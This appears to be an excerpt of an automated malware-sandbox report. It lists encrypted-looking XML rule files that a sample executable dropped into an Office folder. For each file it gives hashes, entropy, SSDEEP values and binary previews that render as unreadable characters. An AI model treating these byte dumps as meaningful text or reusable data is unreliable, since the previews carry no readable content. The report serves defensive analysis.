Preview:	<?xml.4..D]....Yp....h....~Q.`.Q.....R.G[^.0i.F.....?....x...5.m.Uo.g.7Q.7 ...qs.O^J.~+..>.o...h.R<}..@.(0g.6LjR..4....p...u...\.@.`..U.Z..(..8.>.UMy&.!...DK.U..{....L}.....^#..\|.5.....T...6..$Ty....:.$....'...]=]..w..7.....o.j....w..)T&.Ad..\...h...&..(Rg#b...2...3E9q.Pfu...>...D .s..w..e...o).).DP.....^...wd.r.T......8....g.l..D.{..}..h.)..=....goD....\|.2.Z.:h....s8........,m...rd..7.?./.....QQ.X$s*...s[.e.S..Vh....D..G.....#..I...O.($P.....ey._.tu0)..\|[O..yi%K.=...g...gK.G..8).m.g...$....v{s$.$..@.D.sN.....-....D.W....r..4N.%.`w..b`.o...q8X.S+..."....l.(nN......#.si....2...h.'.o...`+T......e.?#Z7...@;l}Pu...!@/....>.....}.Q.o...Q.........@..v..p...}....RZ@..".+.)......W...d..h..;.k.N..!..Z.d.A\|./.2......7.8.}.,`........n.e .......G.....;~.].t..].W..i.OyfV....t.]f.y...W.g...Z.Td4H...R.5....h...Wrl'f'H..w..iS..'3.4..4{?!..........".w.Pv.6.".G.o.@......2c!.J..0Z.7.Te.6.]Oh.cHv...4.\|......(...[Q../.}....LA.\..@7.l...A.H.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701851v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.8731915743612815
Encrypted:	false
SSDEEP:	48:GzhlR0tYq6wCdMdqrqQfG1AGc+0Wo7/eOB07ruNE4iD:whlR0FzCddrXfGc+k/ep7SNEH
MD5:	3ACBE39FD10188B6271E1E6526FFCA5B
SHA1:	5BE55F62FFD43AF8CC54BF718F46061E1E64FC0C
SHA-256:	64496D813B3720D5A40D4EFCE345B86B62677A10B8A345E54E1C9CF8DF377A51
SHA-512:	E6985623E878089D399D558E0CF20F2B5BE5C789C59C0A884D997C978FDC719D5FA4C5978E6278506777DB79CD4D46A395C36F88ACE1B1E2A6840A30EEE0447E
Malicious:	false
Preview:	<?xml.l.Z...T..077...y..Kg.2....d.$d.6R.H..cI...)...Z,..B....d..UK..y.n"~gV..g.%.C...X\|.]dW=_#.i......U....t]...E!,~v...E.....?.I#......L.0W.T8?-..2..Ct....<.V. ..DU.t......t.....G<......#.Y~..&.......T.B..~.15(7.b.!U./..I.~...O#.x..8.>;.:..(....jy&...x=.{{...CG...m.M0.2...+V5g.f1.D...."....U%C/H.....O...- ..3..H...6.Z.$.JkDG..7.Zl..G..Y.....W.Y...%....vzC6.#3._...,q...+..(.`&..e.#....u...~.g.F.ic.v0'...\..O..y.....rh..W..NRe..X.:...}E..HX.....kL.X.7H...8...d.,.A..V...KP.K:;_.X.~...\7}...7......g.X?y.'..D..\|......Y{.H....),.-.3...).'YV.j,z..v...f.-.._Ny.Z..G.B(...l.7!...n..{Ol.w%_.G..(f.....G...5.0....F...vE.......U..b...n.....=l2.."m\|$\|.g...0R...dV.Q....R.....SqM.z..&....L..Q....<.........(.O....h...B...?Bl......Zot..e.h."..lJ~.7.X .{eF......[;\..S..r...y.K....L..G.6t.@.1A."Z.3E.]e..).....OVq.(#.t.?W....../..e.S.Wh..?.`'AfP/......jI...X/H.oA..............E..IU.j...#..W..aZ......'.r..^..Y..;...ly....DS.u.......c...r..YB....#.>,.V.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701900v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.8872061491228
Encrypted:	false
SSDEEP:	48:p3MBE1DfZU3BRFUxEsNuS69QGZg554riD:p3MBc6xTnOeZA5j
MD5:	6FDE110CB6CE4026DCC44B467C0DF487
SHA1:	78F62BB6D0A033E17B4C5D1C10EE077625EE4597
SHA-256:	A194A5774622D93AE67C9592845D488C0585A0F798FD2A18E0A2375FAC588450
SHA-512:	82818239854F5013D71D3783472B2A947AAA0D16DE5AF2F8EB388E4C06DCB64C54FC1FD8D8AD56F77F4C5A6310A58E54B6E0CB6A84D6247F938443FC4BD8C615
Malicious:	false
Preview:	<?xmlH&.T....k...}.c.PO.."..6...L....1.9U..:..e7=A.........O.-.P.P...n4.r.]9)N...#...Jr]\|O9C..'7.,......N..3...... .../.{.p.h..x..j{..k......n....q...k.O.e..-..w..+.f)....%..s........D.C...ro...p7R.5...B?x.r4..>B.-....9...yo.(........U......B...Lp.....L..3.AB.~?p..w..m...(......"R/..b5.V.D.....<..9..<..b.....!..v....Q..P.Nw.$..._..v..{..YG.....HEK.s..tO.....\....!H\|..e>...qpa....6.6..{~..tr...S.iT0,.z...1..A .7+PJ\|....P1.$2>..E.....LYz.....3..]..+.......Kch..a.....(.zQ.7..........^.....[......%+...hd........=<j{7=dz.!.0..`.\.4ww......'U.+V..FV..@....uS.$sf.....OR..?<C...A.i7.NU.j;..3.,E...0...\...i.u.....+%..a.g..1......=W3....m.z...Y..M.HY.Bv.9...2.->....?.y.mo..m<y4..v....I:....M...`.....V.i:.D..!.........p.5...x..(2=". ..=...$.,\..S.M.[...[=...L...t......OB .N-.q..pe{S.%X.5.!..=...5<<.......h...%_..`.(.r..@n..^,7.Z.4............ek.G.E.s........Z......w..$.?..1..l...._....~.....$.3.a.].S).w ..7......uhn....j{..v.#..+.......!~. .=?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701901v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.860744521586076
Encrypted:	false
SSDEEP:	48:My4kuSN6I+QtEsjLdbLIADmdEJj6nqfU0ZhZ1d1WNxO+iiD:Mpku26LQtrjNLLD1j6oU0fSNkq
MD5:	1C15611F75C0369C627D894769ECBB45
SHA1:	34557DBB1C96D05BBC6CFD1E9779C2DBA3F7A3F1
SHA-256:	1F2C269DBA40B424E34AD7070B5D916E2815CCD8F30C7DD05BAB1E60F1D1BCF0
SHA-512:	B3EADDC242D7F01241789FA5AB85B725C0F632EEF40A0BFABBFBCCE20C88BDBE6F575C0435EF7C7A3028870E1A3CBF81FF60FFE87DAE222C9363D3F65C9D6F8B
Malicious:	false
Preview:	<?xml..b....EdX.R..L.Z5,.\.v.....[x.4.....s..i.=..gc.k-.g.{...2=...y..{...?aT..X..0...o..R.Zd.5..='r.....2pN.CS..j.Yd.;c..2..S.FCh...M..[.J.......]>2.a.....jSr.,N./B>YC.O ....D5...v(......E.z.En..\].........E}...8....@]R.4....e.~.pW=.:.g.[...x.....i\{-...g..y.9..F..kE...g.ls...._..'.-...1}..k...l...F8.~..@-{. f#E..k..^4f..>..:r..{..?NB.4.M#..&+.....S.RG...n..`.#.9a..[.@..WO....(c....~Y.lED\|..e.......mX8.../z.?.......1..WS..j8.../=_1.......~...n...q..m..{F....q..$k..e.pQu&..Z.........k...{N.../....D.3..=..b..N.....UUAD.........%i...d....S.V.\|..qh...[..]<.....<..D.2..C.9..]....a#-.t.Q..ws...h..X....P.x(......H&c.l'K......2.h_...<H.[.#..}.......{...$fs.o....B<.U.=...3Z........a.GUa/....i.I...fj...z.J.i.Jl.5H.x.bd.8.!A..5..W$,..>...z..oA..tA \|.z...4.........>.yr.]..8..\|q..K...m.3..^.[..ua..\ze.}.mk+.n..C.1.^T..o0..P..=....S.Y...~..x.n......g4g.v.H..T.....=u..DL..K.....X..Z...`..A0...N(.fO..W..0..ELO%.K.GJ...2......hD...W:....`..s"..Y{...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701950v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.881005828284303
Encrypted:	false
SSDEEP:	48:VxgUJHN/W/zgEe/R9uGWywDCFCU6Vlgfm+LiD:VuUbOLgEepYk5FD6yO
MD5:	C30997303FE59E4B2DC7EF5DA94A4701
SHA1:	723276A8F8AB3CC602585F1920A6280EE3A6265A
SHA-256:	6D706D71AD3AA7EC436BFE1F117A8B7608D26837773F11BE4285AB5747ADCADA
SHA-512:	4EC6196F3FF1510BDA61549DB13E96944E5AB9EB0A9DDC4FB2844518E5D2569A56A73163F2249E025EA4BA9D69D792D097802B5C8B80428EABED319422A95D02
Malicious:	false
Preview:	<?xml.&.+.......lN.Vc....B. ...]....-.?r.../..<....(B.A.s..6=``..x.......n.v.&...,.o...Ho.Z....,.FAn1:."f.."._...J..m=.....tKO.YL..ZD.^.d.i..P..sJ.!.5}.^...5.<jJ...,..E'.md......b.&)....!..D./..s.dC.p....W.'.Z....HYj..o10.....U..?x......K.5...".j...)lW0...Y...f.......'..F.y.B{.t$B.F).}h.~"..=.Z$..j.G...U.a5ZP}zf.h..L...F.....,4..(.E.Y0C..;.l.5.!.R...t..&8je+.9F+.9Y.p...u..5...KtmhsOq..i...i.b(d..@.......T.8RR...k]2..\..E.s.l..^..c..S\.i...)......f=9gd..vm.e..8Q.ac.w._)..F..M..1....ls1...?d1..o.v*.<....he{.....{..\|j...z.C..r...D.`..3.E.W....t.<..o...[...4..oR..@...@.4...Q...l..+,..1..._...a]. ..=...O.].....\|..%. /W/.........%q0.W.....<S.6.5>vD4L.7....5./h..b.B?.J..g....+....v].bbDR-....{.\|...C.........r.VW.v.......Sx.8.?:..LF.:.Jw.S.8..0..........%...x\_&..w[....]..n....3.....?1...b....M..gm...^.y....72m:.........v....o.....7.?.......f.;...Z..k. 6.AI3.i.....b.....b..w.$N.....b$.nP..8...}>..Z..G.K.8.....C..0.:Ib..)...m.N.:\|L.....w.;v05..8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701951v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.88903272470387
Encrypted:	false
SSDEEP:	24:g8za+Mmnfwh5lH7Ca1bwh3sUip1eRFmZtUT1QF4Mu+TCrmYcS6btmuPVkPUFal8S:K6wh5T+op1eRcUT1QTuHcS6bDPFaYXiD
MD5:	7D518CA12B3CEC60A71030A000294BA7
SHA1:	74635C0AAD974A1567A7F614734203C27E4BD4FA
SHA-256:	90359BD8CD8F74D5C87C2F1D20546077DD056114E672DF92B0246F1BC5B19CB3
SHA-512:	2035BF345FDAA001FA64CB63417E95E11E9EFBCD776A752C7EE85EECE0312154117F56BE28CB5F995F0DA583927AC22407A3731936D71523838755531340E52D
Malicious:	false
Preview:	<?xml.BB.....e6@...........S.>..2e9..qz....#....aB.@o.A&_.T.`\..#.}&...v....R.Oi.2vaM...9.^.:...I..<...FL.vc=..n..7...../...\..#e...V..... ....)....t..@,fJ..B%...f..@...D.........g......h..,.~....L........KQ../.G...S.k1.}....<hG.lV%.3Y.d.e........Kx.......A.....t.@..Xa@....k....B.tl..z..M>=.u...ci.-N......H.X..f(.....;k.\1..........X/.k@.Q...A..t^..Y9,W%..k#..rhw.t..5V..<..\|8.^...._4..<.......v.=. ]...!^....G.)W..5..v0..v_.g~i...a\.[.)W..kY6..D_M..)c.w..}....X......&.....x..l...V.t...\..`K....W$..[X?CeB.........[z/$.\....X.H..............hU...x..U04I.[y..V;...D.n...8......l6....O....bw.........J..1..-m"c.... .{.5l.K..>o..-=......k....e.'..... o........l.i5.e.........<l.2....> .?.A...Q..$t.%.4...t.:.Eq. "_?\.T.jw..o...).4..9u.^...3".&.....5..^.G...A..j..........lk.Fp&..Y......Re....I..'..dZo.\....)......Jb...yY.%...M...L......G..;. s.....B:~...".?...R..G.&Z(@./.V.5..........R..m..SB%. .7...../1K.........Q.]..y...f....i.q.."D.l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.871407211021371
Encrypted:	false
SSDEEP:	48:0QbopwmsMUcsV6ENQpO18h/5hf3hLakeBiD:RIsV6uDAhl
MD5:	E0B17C3FF1B3DC5503E4AF64670E7BB6
SHA1:	D22E4D29DAFEED662E842E7A8A51C2EB432256F3
SHA-256:	0DB83184497841A85E52A3CDBC51074AA2402DC42B4BB0EF321B11C9DCF260F6
SHA-512:	308B8BC11A6405D5FD3ECE41D98B1603854826BECDBDA764487EA02102A7BB9E3EBDBE6EBE28421F5C2E35D044391B3D6DE790E63BCA9A9CB38F36501176B0B0
Malicious:	false
Preview:	<?xml.U].[5..+.[..%...J....[............~......<..=......S7..1..K.g...i':.... .#\V....._..'.+.w...c.z...fe..h.)<....epI\|].....qx..Q..q..h...`......p.i.^0(...[c..'.W..9\|.@Y[p-...a....a.V...J.<.....8......B.I...V..D...\...$T3...d/.=.B.se...]....:#..<.....C....M..Ew..zy0F..........Af.A.....T.G.A...Q2.jVfm....`!4.....[..=.o@W..2........5......i8..tp:P.p...^.t.D,.0..."....Y....x.0k[..$N.d.. ..S....x%.8..H....)...>.ibl.J.)n3....l.I..sfJ][vM...x<hX.x.....g...3..W.E.P........@P..SL.........].}Z!&...t8t.k!.s..T,.+..._....!.7..-zG..*P......0. -hS.Z..uy.5.Y.%.W.....^...]6WM7......3.nh...<..pM..L.;..9...o.98.A)..z..q...$({tY,J....C.....i.5.o.......8x.X3...X...q......?5m..t..u< D..\..X?.a"y',....U.....#4...b...@..L.O..s.T.o)..t....D.ts.W......w......8.D.gm..1..j..s.;..>.s/. n.U:7....OPj<\|.wK1.......e....(Gs..L=.{h.7fJ.....I...W.'HR..:l....^.T[oQ..O..y...~...".5I..........YF..)....+.....B......$.....w.-.....`).@.I..?.z.h...........4...;.k\|./.."...&......&.1.Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.8813164600398675
Encrypted:	false
SSDEEP:	48:b7anJdLvaE4Gx12IWUV7RR78J+Lc73UOY2kJFnsiD:KjcGx12IW2n78sLc73rY2O7
MD5:	BC951DC1DAFC84256B19C958818BBB1B
SHA1:	EDE79D0B468267A1481988B0F7B30ACF13A47EE0
SHA-256:	B981C56E8FA0CE1C049C736F77976908F1D037617B452DA052EF4C496C252EF4
SHA-512:	F6F0CD179003D659F15C112DCBC6A4D786E5830AAF5BEB5B4F7F8E20A00A97CB50FA8A6A640CC2F8C468D57793CD4A75C35A5207AB2E60F6E49559693C03A704
Malicious:	false
Preview:	<?xml..0.#{S....v.k.`..D.l.@.,n.k./ct.eC...K.@.eCg.+x}9.w.y..L.,......@....^...r.^#.eb....2.mhn~.P5af....`Rw....}.p...@.rx.A..)4..z...(\.......zP4&x...f.....R.7x_H-_A...s.U..l..x..`B...>X..)g....Nu..M.dj.......fK\Pl...3W'..<v....kfq.]P3u;.5.........^.Ibm.J.T\|g..]....[m$..}wb..[2..E....<A%.....u...a..Fu7.....,p.3......xL.u...Der.3x.....83...dL....e..2........x....3.:>..e[.............f.U...cF....`...V.&..0._;w....%....."l..%....F..G#...K.K.KY.E.)\.3...$.}..._:.c`.ZgT.A.bd<......i...f.f...".w....S.%D....;y...wa~..).o_[..M,.S!.g\.z..(X....l.....c...5..e;u'.'....D@d,.......T....._....c..wJ..xj....O..M....]v.)u..2Z%......D.!..<...e....aE.$-....M. ..crP..T.5..F.....,]H6....#.{.. ]R:....6.k...s.0...5...C....P^..tE...^.@...1+..Gf>..\.e.N... .3.]. .....#...z....A..{...QM.f.....'.C&.1.........{.:.\|R:...1#K..M.U.."..WA..0z..s.<.b...G..G...`....z8.7.}=.H.I...2..^J...+.H.7..'`...j}..;.....z...U?.......}..W-.z...2T.x./.K......'.T.7.?..MV.N.$H...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.89393873576503
Encrypted:	false
SSDEEP:	48:pubC/lhdebWa2arU3jZ6RFc/nmzDi2DvOWbLPiOa+riD:pffEbWa2v3jZsFc/Z2a8LPiL
MD5:	4CC645F8C3605FC1A353DBAC2882BCF1
SHA1:	7B8F99FC54EA8E6B8FD6C3DFA803100DC95CC39D
SHA-256:	74EC5FCDE25497A4B4D6280D7ED70827ECC55CCE36D50F1A2E3433BB2E90F217
SHA-512:	13D185110D51021AE517521107899C4A16010FCC593DDE47351F191B29471D4185FBBC3A9C2AAAC9BABC72F7F4D5B671D76E498F62E68D39D211342D314A7760
Malicious:	false
Preview:	<?xml...K..in.D....4./..`.FH..}.u...:..U.....n....n.. ..\|...M4J0....U..j.5tU.,..0.!Lsw.W..,.ro..z.w...1P.w....[Z.'YP..j.......%..~..r...&#.O....f.r..9...:Vd..09$..j......g.~...../.k...#..........u+.../.q...{.?Q....#...m.#..P..r..q/os..?z.V.....}.$.....\..f.P..C.Qh.....7.aM....p\|......<...Flz.{C.........T.<i.....Q..b..fV..............B.....C.xg....D......._..G..=.......w..3&~.8.7.8.8C0Hz..<0@O.......:....}.....#..g)h......\Q?~C...E.j&.4'......A...#.z.!6LoA...5.Pa.............n....r...,..9./...b..b5....r.E#..k..&.-.h&.....d.V)...,.nQ....N.&...Ed.+m/;..[.......j1.......X..kk...X.dR(...#...;..Jb2...3l.y.....7.\.t.F....5......Y.o.#>......g.Of.q.Ba!.Y..o.!.&.m.........E.......,bK..T?.'......yM...Y....T....`R.;.x...U.4..x....b&........]..H...f.h.^E.....?V[.aEW.pER......-X..9O.>.O.XD;3..Y......@t...2.Re>....\..j.+..yd..A...`-.!ST\|...R..o..L......H.w.nH.....Q.R...{..B...0O.N.W...r{........Q..2U1..Z.Y.j.H/m.............e.,`.Pr......J.8d..=G..rG...o.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.888121497124866
Encrypted:	false
SSDEEP:	48:65W57GpgcCkkjL2cOV1Irtif/TPuJR8nypiD:g6GG3/ScIIrGs8y4
MD5:	1D1E5A3C4C0788A2B698AE5DEFA1E8B9
SHA1:	021AABBA43F162FBB7473397F9E57B10C7D7D348
SHA-256:	EB19E6A5A299E44F87FE2346D16516BC8C46E16B552E4D843915D1BB870F3173
SHA-512:	48052F16DFE8903AD374E795B93103AB0B4B2024C3D812BFAA5844B648D8AA9C580824BECB05D98DF4B4A26109127C31E9F18494D79B087B2D9FBB4D271706A7
Malicious:	false
Preview:	<?xml...\|.V..Y.~. U.'.n...4e..5......P..)..x.M.!.r1x..C ....$.........Z...}f.s.....si.?wG.{...<.@.i....mg>.:R(....2..f?.XJ...A;....1$\|N...l..sR.......f-.AI.......c..'..d.GH..Y.}...My!...9.e.J.&i.s..$%7.)v..=......g.y/.......p...C...q.7.p9.PXsv....H....WE..0.m.....I!;.A.X..H..s.e...x.....HMh.......k....(%.Nf3q....n.._...x.o....3...T'.....8.~".X..<"..I._..5Y...M8p.3....C.R.6..g.Cu\...&..\|O.){..X..G.....3.0..5i.D.)(....]v...........(..m...1\/...{....Kx.$....W.W'.p..F....IFO..?;....)1..-o.tN"K..l..r...-.J\|fb].s<..7k..a$.T.)..>TG..A.H...y..E,wzP.'aiL..T.~^..;.ai......KZ..\r9..e...0..#..}d..4..E...#kh.a..vB........l!...U..C....U0&o..%L.J..LU.....\|...N............^2x.........V.............\Ih.}k.......N_..?.... ..r.....E.oX..}.f...m.q...T..^.....(Q..2.EQ.Z.0.s@J.b...N\|.;spb.<..s'..\|..m....Z..U:...Z..........#..OG.$..3P.S..l...o........('.5...3......<.U.=.?.!..Y.x.T.....E..Mp/..U..6...=K.iI....&.)POM.....c.u.jx. ..o..(.o`d9.Z..!'=.....3]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702100v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.901529748442515
Encrypted:	false
SSDEEP:	48:UfctIpUJ9/iu/RbOW2G+5YaivQggyjEiVFQbedFmjSS2NTiD:fy+lgVeacAiVFL4SSyG
MD5:	7711B7D0F25927FC39DC5050AE954584
SHA1:	68B88E159E34B29730EEE904C857831F8B450E4D
SHA-256:	B01A6B99E4FE855C06A4F359B219FFAA6EC5969A5CE434F910E787EC08654283
SHA-512:	DDF2F04A2428746CA934E1137FD7F09AE0516B502FA8FC0DEC720DB8A638A44EB1AB164A6265743D568CD773DD6B47820971932556032AC9AE30FE7888079F1D
Malicious:	false
Preview:	<?xml...%....2...!.....>.L..;.A........l6c..a.'.v."`Z..}.......#...F....u#:....AFy.j....[.au.&........T...L.f..5..8...E. :..w`..#Y.Z.t\|....]./(....2.t.G..Y...y.h$.V..s>............(.....$8kH7...6,. ...[.=C..5.{C}c.....i...W..)...O.R.(....4...KU..H..Q.Nr;..8"dZB....V1..V....j...l.z..GE..09(.HZ.d..!z#........V.........H.C(.B..jo...........^v..&.........YOn.n......?....l..b./..&U...1Nb.N1.s..=..M.c..+....%....R...z...w2...*A8q.#..p..>.AN' ..<...E~..73J..v.(......;_5.o-`ScJ.Y..T........$..[..m..lS.....ic..&...E.?.$(....z....N./.K...mk.0)P..Dfp...\|(G...I.T.(..-.).[f...2.j.0?..i...e..3-...m9.t..`]n.~....9.....'a.Z....t.....j......p.2/.H^..O.sX...^.j...z8..d:(!3<..^...[`F..Y..)..8.uN..![u....... bx! ..._T......s.<..R.....R..#q.m....9....>."........n...7..I.X...h........eImu...y.U2...?.......\|..f..0".N...aw..........XVi.O...j.DP.fW...g)FF>tcK.......1.T.Xxc.G.d....A...K..5.h't......S...<...0.#.^.j....5E .Z.vzv...+<O.....=..I.z7.}...\|...@.B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702101v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.885079393308157
Encrypted:	false
SSDEEP:	48:VsuylrfWiAKHZ5QlHoZBzYxbRmVyLIgs1/JI3tsiD:Vsuylbjg4G3gBI3F
MD5:	5BC103D9C6C7E6AD1C82479A8D2F4E66
SHA1:	BC801CC45CF171D4CA7B20196C394D4328D67E19
SHA-256:	E07C1364FCE02F68E896880EB13689E8C2E3817A9371187DC8D4CFF1668F982A
SHA-512:	1D795C86BE5DC3CBAA0D1E82540E7BE04635ED302D59655F2B5B3DE665656ABDF09E2100EB95D21E2705C4911C205DE12AFC81AA3C560F59B3452979870C8272
Malicious:	false
Preview:	<?xml.a.....b.S..0..U..q.C...9\|.a.D..G..........B.....T.2.j,U.}....#p.QR7JZ >.&B....l....i.U"...OEc.B..u.pL.0r61a.^b..U.......<:%...s.._....k...B.}CU..z).....,.n.....>.....7..X?e...4t...\|...c?..3h..n.O.=hL;.O.i..'U(a...\8g#......-.,zK... .(.=...hu&.-#...~#8...2..E.'.x.9.] .....?v.P.4..Q....S@d.`...s.../........cko.bv..@...Kx....t..x.#B.D.b.u......2.............X.....{...O..?.wMq%........~\.#....R..4...o..a.....-..P.........]..n.c..]..b...?.>X5.w.K....(.#Y........c......V.&e[..!Ig..(...X8...\|....qb..{...l...[....;....>.^9.9....:...0_m..Q..f.=..A..E[.....9...&...g.RT..f...r.........").8..'.9...p.B.0+...2Y/..M\....PNC.....j.9.K..w.~c..{.Rb(hc.....c..E.:.z$.M,^.-...O..6...8......4.LK..r.6...!.W....4....<...9.e..{t......H9.8Z......@2.0......`...s.R}!g......?oB.)%.A.`.l.....!".'D..H....vYzK,.....j..uGT.......I.a(.gz...%.3]0...$.A...rP...}\..z.W.<..PSM./......wIC...\......t...L:.....-i....b..p8.../p.<....>...:.nz.)k.k".F.....G...}fRd

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702150v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.872321636512037
Encrypted:	false
SSDEEP:	24:nh3g3A412aUmYSrdjZuW+9gDPdDybMG9jqfJHsxc9hnX5zssIPf50JffiTkbD:hQ3AyNUl4dI/9CybMLJHzdx8x1iD
MD5:	BD1B1DD4B2B2BC2B3EA8ADB2E56CA6AB
SHA1:	F3307899D6C2E53575E496F598B3E152DCE75235
SHA-256:	2100CFE842F883AE23D8B63817BC5E0A8AC15CFD13AD8EBACD5D1F2AE0E84F47
SHA-512:	3279F11C119727B933280503A21F90FDDB49C74EC0543D083670D930A7811E5D6BA1FA964B095D71C15644B421A648F6FCD7E47C4E2086769F8BB5E3254B6F57
Malicious:	false
Preview:	<?xml.Q3.T.Q6$......\Am......i&^..vD..Yh.}F.6..&.S.....K.HG..W..J.x.]..t..3D!.....Z.dd?.1H/...@..p...3.lyO<)B`.~.X.?}.O..s.u....,..g.."t-FgP.((.Q._c.T.".IF......NU.7O..v}........c4......2..s....../F.....Z.}.m..u/.).....j]..E.......W..~..Tq...H[1.yA@..T.=..c..u.]..3:.C&.h..IY.EK.).q.......a].....x.:......>.C..E...D..--...j.<.O.....6..8.g.;...}G.".u....b..K29...}.o.u.b...77......D...Y.#"..6...6.@....b.;}.Y..i,m../U...Q...qn...Lu...B=.]D..0...UGV...LUU<1..v._s.y..W...... ....G.B...B.9~.#.......".fT....'E.`T......+{-..@7..E>h^.n....i.6.....].S.c$,'.G7].Bj(..l.,.....0X...ww?.0....t...u:...Y..mM..Y..H...d..........U....\..r..'+;z..+.-.....n.T..>'BZF..~..LKm..!...A.4'...-.+4.A..........<.q.y.......&v(..>.Ru..&..%r.s.B..........^..m...%..."we.C..Cgw..4.!.uZ._.x(...ff..%.P..Ox....jLv.o{.{0..-....r...V....rTu..qc=..........yB..].!.6!.@...$.\|.$.v......./X*..o.e.-`3.6.. (.U.../...H1.;(..,~I.&.x....,...G..F....c............6.. t.....?.(.....s.kk.i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702151v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.889080275121401
Encrypted:	false
SSDEEP:	24:h30PH1ccKfZjT22na+f1S8uQbaKCBgBaS1Som1h5CRFdALkPkUDtPRsp2iTkbD:hEPiZhnhdS8aBgBaySnn5vk5TspziD
MD5:	4C0A56311FB569457FD996E409AFE9A6
SHA1:	93CE708B8D44D4584A6D74C9D673DC4B8FAFCF9D
SHA-256:	C85D2D9A4558C2E21D87A27C3B018193A43190645165B03A757270B6B6A903A9
SHA-512:	071FEB222ACDC27710A5A5C449D75DFC702EE9519875B79A8A73431F971ED46D308EC308853255EC593CBFCD56A23148C12C951A4A97A196F7D3D9EACAF90C67
Malicious:	false
Preview:	<?xmlJ>.2C....s.h.o.....TPjgD.....X...;.....,........g.2..V.m\-...#...UB:.....9..O0.,>X.Y.AE.\{i.!.,g1..."I..qr..._..I...,.v.........X`2......Y..]/.5.....)..%Da...z}..... .../#.D0.....p.\|.J.~R.k.../)..$.?PS:.at2/.y...iUf.$..rf-......A.p.^!l....B.F...&.@......b3.....'dt.1l.H.....<.0........u....2)K......)..d....a...>.G@.....(..sn>Fl.W.\.y.(..O5./.Q....z."4zv.cc..Q.....5..FG.._.J.1.c.....Uv..:U.....63.m.<.........J..s..X.....H...B}ZP".....>XA....d+p..i.i...o.[.f%j.!...cH....K..$....fp.'.."...].\.G..?,.p..Y3:df....... ..........a?.....)T!~.&..U..E.E...J......AWnv.4E.J..4Ms...Yb.S.6c....xQ;.E.%.{..q....*..K....S.d<7..}.:..g,..NX.<.J2.+..+....M. .!.\|b.L...4>.v+.....J.s.R.!OF...e.J...m.T\|....r.b.V.W\......o....dR............!++h..a!k..{7#.C....w..3C.A...;i9oV.........g8?]asaE#.\|.I.'@..t.f-..US#.3!n.'.k...8X.U.......C.{"....J.._jn!..3..V...Su....#...0/W....-.....z7r.`...a..^RNA0A;.0j..;.g.U.i.l....G..a......9E0};..s..Wv".:=qbT.......qp......R.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702200v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.862316884352511
Encrypted:	false
SSDEEP:	48:HTIOBjB6vq/rS57ndiKeRZ0RA/j5I1LDvAiD:H/jB6v5LdiBZikj5IBf
MD5:	90D216E56D50BF7C0601031C1E1246AD
SHA1:	601ADD4276CEBAAE06054D0528D919D2EA9947FA
SHA-256:	C9F49D3EC8297EA55D36E64DA3E8EA183D66DA3D111F7C54E45D0EC11BBD0A27
SHA-512:	45CA4AB0DAB6CB640DE597FC987FE5C604D588D5904431EAFE06E86D5F86CB93793C7952473639674CB4A727FE66CA086C69A2F4A5DD8D3031C41BD8A604B83F
Malicious:	false
